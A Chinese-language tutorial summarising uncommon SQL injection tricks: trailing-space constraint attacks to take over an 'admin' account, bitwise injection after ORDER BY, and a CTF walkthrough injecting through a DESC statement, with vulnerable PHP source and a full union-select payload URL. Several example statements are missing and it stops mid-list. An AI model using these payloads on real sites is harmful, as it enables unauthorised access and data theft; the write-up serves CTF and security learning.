注入别样姿势总结
一.sql约束攻击
1.什么是sql约束攻击
sql约束攻击大致是数据库在处理sql中的字符串的时候,字符串后面的空格字符将会被删除。比如在查询中"faith"与"faith "是一样的。
select * from student1 where name='zxb '; 等于 select * from student1 where name='zxb';
在利用的时候可以先注册一个和管理员相同的用户,比如‘admin’账户可以注册一个‘admin ’多个空格的账户,然后登录就可以达到越权的目的。
二.order by 后的注入
常见的order by注入一般会使用报错,布尔,时间进行注入
如:
在了解order by注入之前我们先了解一下sql中的位运算符的比较,即2和3的二进制的比较,即10和11进行|和&运算。
10&11与;都为1时,结果是1,否则是0 10|11或;有1时,结果是1,都是0时,结果为0
此时看一个有趣的现象
此时看另外的两条语句
这是其中的过程
1 2 3 001 010 011 010 010 010 | 011 010 011
这样就全都明白了。
此时在注入的时候我们可以利用这个条件例如这样
http://www.xxx.com/index.php/?id=|(注入语句)+1来判断页面的变化,如果有变化则证明注入语句是正确的。
三.desc相关问题
desc介绍:{DESCRIBE|DESC}tbl_name[col_name |wild]
DESCRIBE提供有关一个表的列信息。col_name可以是一个列名或者是一个包含sql通配符“%”和“_"的字符串。也就是说表名后面可以跟列名或者是正则表达式,这样我们可带入我们的sql注入语句
例题:http://web.jarvisoj.com:32794/
首先扫描目录发现有目录
打开查看源码有
<?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?>
在mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();中连续的两个反引号相当于一个空格,而且desc支持两个参数,那么我们就可以尝试注入了,又因为最后输出了我们结果,所以构造payload:test` `where 1=2 union select 1.
查询的语句就会变成desc ` secret_test` `where 1=2 union select 1`
select 'flag{xxx}' from secret_test` ` where 1=2 union select 1
最后得到flag
http://web.jarvisoj.com:32794/index.php?table=test`%20`%20where%201=2%20union%20select%20flagUwillNeverKnow%20from%20secret_flag
四.万能密码
1.双引号法
select * from student2 where name = ''+'' and gender = ''+'';
2.双等于法